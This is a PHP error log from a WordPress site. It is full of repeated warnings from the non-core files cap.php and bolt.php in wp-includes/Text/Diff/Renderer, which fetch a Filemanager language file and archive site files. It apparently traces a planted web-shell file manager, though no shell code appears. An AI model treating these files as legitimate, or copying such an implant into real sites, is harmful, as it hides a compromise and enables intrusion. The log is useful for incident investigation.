[25-Jun-2026 02:42:09 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 02:42:09 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 02:42:16 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 02:42:16 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 02:42:16 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 02:42:16 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 02:42:16 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 02:42:16 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 02:43:20 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 02:43:20 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 02:43:20 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 02:43:20 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 02:43:20 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 02:43:20 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 17:18:53 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 17:18:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 17:18:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 17:18:54 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 17:18:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 17:18:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 18:38:08 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:38:08 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:38:08 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:38:08 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:38:24 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:38:24 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 887
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 887
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 888
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 888
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 889
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 889
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 890
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 890
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 891
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 891
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 892
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 892
[25-Jun-2026 18:38:54 UTC] PHP Warning:  foreach() argument must be of type array|object, null given in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 558
[25-Jun-2026 18:38:54 UTC] PHP Warning:  foreach() argument must be of type array|object, null given in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 558
[25-Jun-2026 18:38:55 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:42:01 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:42:01 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:42:01 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 18:42:01 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 18:42:01 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 18:42:48 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:42:48 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:42:48 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 18:42:48 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 18:42:49 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:43:22 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:43:22 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:43:22 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 18:43:22 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 18:43:22 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:43:35 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:43:35 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:43:35 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:43:35 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:43:35 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 18:43:35 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 18:43:35 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:43:35 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:44:00 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:44:00 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:44:00 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:44:07 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:44:20 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:44:20 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:44:20 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 18:44:20 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 18:44:20 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:44:20 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:44:20 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 18:44:20 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 18:44:20 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 18:44:20 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:44:46 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:45:32 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:45:32 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:45:32 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:45:32 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:46:01 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:46:01 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:46:01 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:46:16 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:46:16 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:46:16 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:46:29 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:46:29 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:46:29 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:46:29 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:46:38 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:46:38 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:47:58 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:47:58 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:48:03 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:03 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:03 UTC] PHP Warning:  Undefined variable $ext in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1208
[25-Jun-2026 18:48:03 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function rangkhwampanithan() in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php:1223
Stack trace:
#0 {main}
  thrown in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1223
[25-Jun-2026 18:48:03 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:48:03 UTC] PHP Warning:  Undefined variable $ext in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 1115
[25-Jun-2026 18:48:24 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:24 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:24 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function rangkhwampanithan() in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php:1223
Stack trace:
#0 {main}
  thrown in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1223
[25-Jun-2026 18:48:24 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:24 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:34 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:34 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:34 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function rangkhwampanithan() in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php:1223
Stack trace:
#0 {main}
  thrown in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1223
[25-Jun-2026 18:48:34 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:48:43 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:43 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:44 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:48:44 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php:1115
Stack trace:
#0 /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php(1115): PharData->compress()
#1 {main}
  thrown in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 1115
[25-Jun-2026 18:49:41 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:49:41 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:49:41 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:49:41 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php:1115
Stack trace:
#0 /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php(1115): PharData->compress()
#1 {main}
  thrown in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 1115
[25-Jun-2026 18:50:02 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:50:02 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:50:02 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function rangkhwampanithan() in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php:1223
Stack trace:
#0 {main}
  thrown in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1223
[25-Jun-2026 18:50:03 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:50:33 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:50:33 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:50:33 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/laratrends/public_html/wp-includes/Text/Diff/Renderer/inline.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php:1115
Stack trace:
#0 /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php(1115): PharData->compress()
#1 {main}
  thrown in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 1115
[25-Jun-2026 18:50:42 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:50:42 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:50:42 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 629
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 629
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 887
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 887
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 888
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 888
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 889
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 889
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 890
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 890
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 891
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 891
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 892
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 892
[25-Jun-2026 19:34:39 UTC] PHP Warning:  foreach() argument must be of type array|object, null given in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 558
[25-Jun-2026 19:34:39 UTC] PHP Warning:  foreach() argument must be of type array|object, null given in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 558
[25-Jun-2026 19:34:45 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
